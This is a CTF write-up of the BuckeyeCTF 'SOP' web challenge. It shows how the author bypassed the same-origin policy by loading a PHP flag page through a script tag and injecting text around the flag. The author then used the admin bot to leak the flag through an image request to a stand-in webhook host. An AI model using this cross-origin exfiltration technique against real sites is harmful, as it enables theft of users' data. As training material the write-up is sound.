SOP Write Up | BuckeyeCTF
As a CTF noob coming from solving the Web challenge “Canary” that was worth just 70 points, I thought SOP that gave 453 points would be a bit hard. But it turns out pretty simple to some extent.
Anyway before I start I would like to thank qxxxb and ath0 for their responsive replies through out the CTF.
The application
We should always start by taking a general look around before we start testing and just use the application as a “Normal” user. And so there are two given web pages.
1. The flag page
When visiting the flag page at http://18.225.2.140/ you are represented with the following… which turns out to be the source code of the current php file.
Lets go through the code and analyze it.
Seems simple, if we visit this page with the parameter ?message=flag it would display the flag …. well at least the fake flag for us.
What if we set it to something else other than flag like ?message=banana for example.
The first thing which obviously comes to mind when seeing our text being injected to a web page is XSS. We know that this challenge is about SOP and we are looking for a SOP bypass and when we google SOP bypass some of the first results are bypasses using XSS since if we have an XSS it is essentially a full and easy SOP bypass.
Ok cool, lets try XSS
Never mind definitely not XSS.
Any way lets move on to analyze the second given web page.
2. The BOT page
On visiting the Admin Bot page at http://18.225.2.140:8000/ you are represented with the following
Pretty straight forward, we give the bot a URL , the bot visits the URL and tells us what happened.
Lets try different URLs:
- So the bot can request external URLs.
- It can’t request localhost or 127.0.0.1.
As a complete CTF newbie I stopped here and didn’t know what to do next, the frustration kinda kicked in and I felt lost for some reason.
Time to take a break.
So in this section I am here to give a quick lesson on hacking and life in general, when you feel frustration kicking in, leave what ever you are doing and take a break. Go to the gym, a store, walk around the house and just come back later.
Fast Forward 5 hours later, I realised that I haven’t really looked up ways to bypass SOP or even read about SOP itself.
Quick research time:
https://hackerone.com/reports/761726
https://resources.infosecinstitute.com/topic/bypassing-same-origin-policy-sop/
https://medium.com/swlh/hacking-the-same-origin-policy-f9f49ad592fc⭐
https://dev.to/th3lazykid/day-3-bypassing-the-sop-4a8j
https://thesecurityvault.com/appsec/understanding-cors-and-sop-bypass-techniques/
https://portswigger.net/web-security/cors/same-origin-policy⭐
https://www.hahwul.com/2020/01/12/json-hijacking-sop-bypass-technic-with-cache/
https://github.com/mpgn/ByP-SOP
https://medium.com/datamindedbe/cors-and-the-sop-explained-f59de3a5078 ⭐
...If you haven’t solved the challenge yet, try solving it now while its still online.
So …. things we understand for now
- Flag page only displays the flag for servers/clients? with the IP addresses of 172.16.0.10 and 172.16.0.11
- The bot has no restrictions and can visit any page.
- There is no XSS in the main application.
Lets do some more poking around
I have read a write up where the author simply made a request to an endpoint with sensitive information through JavaScript and simple got back the data.
His POC looks like this:
<script>const Http = new XMLHttpRequest();
const url = "http://18.225.2.140/?message=flag";
Http.open("GET", url);Http.send();
Http.onreadystatechange = (e) => {
console.log(Http.responseText);
};</script>
I tried it but knew for a fact this would not work for us because of ….. drum rolls ….. SOP.
JSONP SOP Bypass
While researching I found a SOP bypass method using JSONP.
https://medium.com/@minosagap/same-origin-policy-and-ways-to-bypass-250effdc4a12 (More about JSONP)JSONP = JSON with Padding
JSONP is a technique that works around SOP and enables the sharing of data.
And so the <script> element is allowed to execute JavaScript code that is retrieved from foreign origins which means that SOP doesn’t block <script> element from retrieving content from another origin.
I tried adding the flag page to my html using a script element and it worked!
<script src="http://18.225.2.140/?message=flag"></script>The script loaded and I now kinda have access to the flag. I say kinda because I didn’t know how to leak it to my web hook.
Str_replace in flag page
Going through the flag page again I realised that I can enter text before and after the flag and php code would just replace the string “Flag”.
So giving the ?message parameter “the flag” would result in “the buckeye{not_the_flag}” being printed out.
At this point I knew I solved the challenge, using the method above I could easily change the file imported by our script element to valid javascript.
I now made my exploit html page which had a script element with the source set to the flag page with our payload and an image element with source set to “http://webhookURL.com/secret/+ a” to leak the flag to my web hook.
Sent the exploit to the Admin Bot:
Somehow this works but doesn’t steal the real flag.
Going through the source code given to us I found this docker-compose file which states that the flag page runs on “172.16.0.10” port 80 and the admin bot page runs on “172.16.0.11” port 8000
I quickly check if http://172.16.0.10:80 and http://172.16.0.11:8000 are accessible by the admin bot and ….. they are.
Same exploit but using http://172.16.0.10 as the host:
We send the exploit and we quickly get a hit in our web hook with the flag.
Flag => buckeye{th3_l3tt3r5_0f_S0P_Ar3_1n_JS0NP}This would have been really easy if I didn’t over think stuff.
Thanks for reading.
